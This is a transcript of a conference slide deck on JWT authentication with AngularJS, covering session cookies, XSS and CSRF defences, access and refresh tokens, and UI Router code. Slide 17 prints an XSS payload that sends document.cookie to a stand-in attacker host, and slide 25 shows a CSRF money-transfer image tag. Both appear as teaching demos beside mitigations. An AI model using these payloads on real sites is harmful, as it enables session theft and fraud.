JWT Authentication with AngularJS
-
Upload
robertjd -
Category
Engineering
-
view
7.503 -
download
1
Transcript of JWT Authentication with AngularJS
![Page 1: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/1.jpg)
JWT Authentication with AngularJS
(or any other front-end framework)Robert Damphousse @robertjd_Lead Front-End Developer, Stormpath
![Page 2: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/2.jpg)
About Me
• Full-stack developer 10 years
• Full-stack with JavaScript since 2011 (Node.js + Angular)
• Currently leading JavaScript at Stormpath
![Page 3: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/3.jpg)
About Stormpath• Cloud-based User Identity API for Developers• Authentication and Authorization as-as-service• RESTful API• Active Directory, LDAP, and SAML Integration• Private Deployments (AWS)• Free plan for developers
![Page 4: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/4.jpg)
Slideshare URL: http://goo.gl/AWaE5D
![Page 5: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/5.jpg)
Talk Overview
• Recap: Session Identifiers
• Cookies, The Right Way ®
• Introduction to JWT
• Access Tokens & Refresh Tokens
• Storing JWTs in the Browser
• Angular specifics
![Page 6: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/6.jpg)
Recap: Session Identifiers
![Page 7: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/7.jpg)
Verify username & password
Create a session ID, link to user
Stores session ID in a cookie
Recap: Session Identifiers
![Page 8: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/8.jpg)
![Page 9: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/9.jpg)
Session ID Concerns
• They’re opaque and have no meaning (they’re just pointers).
• Database heavy: session ID lookup on *every request*.
• Cookies need to be secured to prevent session hijacking.
![Page 10: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/10.jpg)
Cookies,The Right Way ®
![Page 11: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/11.jpg)
Cookies, The Right Way ®
Cookies can be easily compromised
• Man-in-the-Middle (MITM)• Cross-Site Scripting (XSS)• Cross-Site Request Forgery (CSRF)
![Page 12: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/12.jpg)
Man In The Middle (MITM) AttackSomeone ‘listening on the wire’ between the browser and server can steal the cookie.
Solutions
• Use HTTPS/TLS everywhere a cookie will be in transit.
• Set Secure flag on cookies.
![Page 13: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/13.jpg)
Cross-Site Scripting (XSS)
![Page 14: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/14.jpg)
XSS Attacks
This is a very REAL problem
Happens when attacker code is run inside a browser, on your domain.
Can be used to steal your cookies!
![Page 15: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/15.jpg)
XSS Attack Demo
Source: https://www.google.com/about/appsecurity/learning/xss/#StoredXSS
![Page 16: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/16.jpg)
XSS Attack Demo
![Page 17: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/17.jpg)
XSS Attack Demo
<img src=x onerror="document.body.appendChild(function(){var a = document.createElement('img');a.src='https://hackmeplz.com/yourCookies.png/?cookies=’+document.cookie;return a}())"
So what if I put this in the chatbox..
![Page 18: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/18.jpg)
XSS Attack Demo
GET https://hackmeplz.com/yourCookies.png/?cookies=SessionID=123412341234
Your browser is going to make this request:
Which means..
![Page 19: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/19.jpg)
![Page 20: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/20.jpg)
XSS Attack – What Can I Do?
Escape Content
• Server-side: Use well-known, trusted libraries to ensure dynamic HTML does not contain executable code. Do NOT roll your own.
• Client Side: Escape user input from forms (some frameworks do this for you, but read the docs for caveats!)
![Page 21: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/21.jpg)
XSS Attack – What Can I Do?
Use HTTPS-Only cookies
Set the HttpOnly flag on your authentication cookies.
HttpOnly cookies are NOT accessible by the JavaScript environment
![Page 22: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/22.jpg)
XSS Attack – What Can I Do?
XSS Resources:
https://www.owasp.org/index.php/XSS
https://www.google.com/about/appsecurity/learning/xss/
![Page 23: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/23.jpg)
Cross-Site Request Forgery
(CSRF)
![Page 24: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/24.jpg)
Cross-Site Request Forgery (CSRF)
Exploits the fact that HTML tags do NOT follow the Same Origin Policy when making GET requests
![Page 25: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/25.jpg)
Cross-Site Request Forgery (CSRF)
Example: Attacker puts malicious image into a web page that the user visits:
<img src=“https://trustyapp.com/transferMoney?to=BadGuy&amount=10000”/>
.. what happens?
![Page 26: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/26.jpg)
Cross-Site Request Forgery (CSRF)
• Browser sends cookies for trustyapp.com
• Server trusts cookies AND assumes this was an intended user action
• transfers the money!
![Page 27: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/27.jpg)
Cross-Site Request Forgery (CSRF)
The Solutions:
• Synchronizer Token (for form-based apps)
• Double-Submit Cookie (for modern apps)
![Page 28: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/28.jpg)
Double Submit Cookie
• Give client two cookies: (1) Session ID and (2) a strong random value
• Client sends back the random value in a custom HTTP header, triggering the Same-Origin-Policy
![Page 29: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/29.jpg)
![Page 30: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/30.jpg)
![Page 31: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/31.jpg)
Cross-Site Request Forgery (CSRF)
CSRF Resources:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
![Page 32: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/32.jpg)
An Introduction to JSON Web Tokens
(JWTs)
![Page 33: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/33.jpg)
Definitions
Authentication is proving who you are.
Authorization is being granted access to resources.
Tokens are used to persist authentication and get authorization.
JWT is a token format.
![Page 34: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/34.jpg)
JSON Web Tokens (JWT)
In the wild they look like just another ugly string:
eyJ0eXAiOiJKV1QiLA0KICJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQogImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnVlfQ.dBjftJeZ4CVPmB92K27uhbUJU1p1r_wW1gFWFOEjXk
![Page 35: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/35.jpg)
JSON Web Tokens (JWT)
But they do have a three part structure. Each part is a Base64-URL encoded string:
eyJ0eXAiOiJKV1QiLA0KICJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQogImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnVlfQ.dBjftJeZ4CVPmB92K27uhbUJU1p1r_wW1gFWFOEjXk
Header
Body (‘Claims’)
Cryptographic Signature
![Page 36: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/36.jpg)
JSON Web Tokens (JWT)Base64-decode the parts to see the contents:{ "typ":"JWT", "alg":"HS256"}
{ "iss”:”http://trustyapp.com/”, "exp": 1300819380, “sub”: ”users/8983462”, “scope”: “self api/buy”}
tß´—™à%O˜v+nî…SZu¯µ€U…8H×
Header
Body (‘Claims’)
Cryptographic Signature
![Page 37: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/37.jpg)
JSON Web Tokens (JWT)The claims body is the best part! It asserts:
{
"iss": "http://trustyapp.com/",
"exp": 1300819380,
"sub": "users/8983462",
"scope": "self api/buy"
}
Who issued the token
When it expires
Who it represents
What they can do
![Page 38: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/38.jpg)
Issuing & Verifying JWTs
![Page 39: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/39.jpg)
Issuing JWTs
• User has to present credentials to get a token (password, api keys).
• Tokens are issued by your server, and signed with a secret key that is private.
• The client stores the tokens, and uses them to authenticate requests.
![Page 40: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/40.jpg)
Verifying JWTs
• Just check the signature and expiration time! Stateless authentication!
• Token declares scope, make authorization decisions locally.
• But.. How to revoke stateless authentication?
![Page 41: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/41.jpg)
OAuth2 + JWT
Access & Refresh Tokens
![Page 42: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/42.jpg)
Access & Refresh Tokens
• Client is given an access and refresh token.• Access token expires before refresh token.• Refresh token is used to get more access
tokens.• Access tokens are trusted by signature.• Refresh tokens are checked for revocation.
![Page 43: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/43.jpg)
Whut??
Gives you time-based control over this tradeoff: stateless trust vs. database lookup.
![Page 44: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/44.jpg)
Examples
• Super-secure banking application (want to force user out often):• Access token TTL = 1 minutes• Refresh token TTL = 30 minutes
• Mobile/social app (user should “always be logged in”)• Access token TTL = 1 hour• Refresh token TTL = 4 years (lifetime of mobile
device)
![Page 45: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/45.jpg)
Storing & Transmitting JWTs
(in the browser)
![Page 46: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/46.jpg)
Tradeoffs & Concerns
• Local Storage is not secure (XSS vulnerable).
• Cookies ARE secure, with HttpOnly, Secure flags, and CSRF prevention.
• Using the Authorization header is fun but not really necessary.
• Cross-domain requests are always hell.
![Page 47: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/47.jpg)
Secure & Painless Tradeoffs (IMO, YMMV)
• Use cookies with HttpOnly, Secure flags. • CSRF protection is easy to get right, XSS is
easy to get wrong.• Don’t use the Authorization header• Not really needed.
• Avoid cross-domain where possible• CORS is straightforward, but why have pain?
![Page 48: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/48.jpg)
Authentication Logic, Using Cookies
• Is there an access token cookie? Is it valid? (signature & expiration)?• Yes? Allow the request.• No? Try to get a new access token, using the
refresh token.• Did that work?• Yes? Allow the request, send new access
token on response as cookie.• No? Reject the request, delete refresh
token cookie.
![Page 49: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/49.jpg)
So… AngularJS?
![Page 50: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/50.jpg)
JWT with AngularJS
• How do I know if the user is logged in?
• How do I know if the user can access a view?
• How do I know if access has been revoked?
![Page 51: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/51.jpg)
Is the user logged in?
• Cookies can’t tell you this, if using HttpOnly.
• Argument FOR putting token in local storage, so JS can inspect. Worth the XSS tradeoff?
![Page 52: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/52.jpg)
Is the user logged in?
• Request a /me route, which requires token authentication.
• This route returns the user object.
• Use a promise to return this object.
![Page 53: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/53.jpg)
angular.module('myapp') .config(function($stateProvider) { $stateProvider .state('home', { url: '/', templateUrl: 'views/home.html', resolve: { user: function($auth) { return $auth.getUser(); } } }); });
UI Router Example
![Page 54: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/54.jpg)
Is the user logged in?
• UI Router: use $stateChangeError to handle failed user promise, direct to login view.
• ngRoute: $routeChangeError
![Page 55: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/55.jpg)
Is the user logged in?
• Maintain $rootScope.user• null = we don’t know yet• false = not logged in• {} = we have the user’s data
• Broadcast $authenticated event when user is known.
![Page 56: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/56.jpg)
Can the user access this view?
• Another argument for local token storage and inspection. But, XSS!
• Otherwise, fetch scope from /me route.
![Page 57: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/57.jpg)
$stateProvider .state('home', { url: '/', templateUrl: 'views/home.html', resolve: { user: function($auth) { return $auth.getUser() .then(function(user){ // can access resource?
// return true/false }) } }});
UI Router Example
![Page 58: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/58.jpg)
Has Access Been Revoked?
• If you see a 401 from your API service, broadcast an $unauthenticated event.
• Redirect to login view.
![Page 59: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/59.jpg)
Fin
![Page 60: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/60.jpg)
Recap
• JWTs help with authentication and authorization architecture.
• The are NOT a “security” add-on.
• They’re a more magical session ID.
• Store JWTs securely!
![Page 61: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/61.jpg)
Thanks!
![Page 62: JWT Authentication with AngularJS](https://reader035.fdocuments.in/reader035/viewer/2022062503/587142e61a28ab55588b4dcf/html5/thumbnails/62.jpg)
Use Stormpath for API Authentication & Security
Our API and libraries give you a cloud-based user database and web application security in no time!
Get started with your free Stormpath developer account:
https://api.stormpath.com/register
Questions?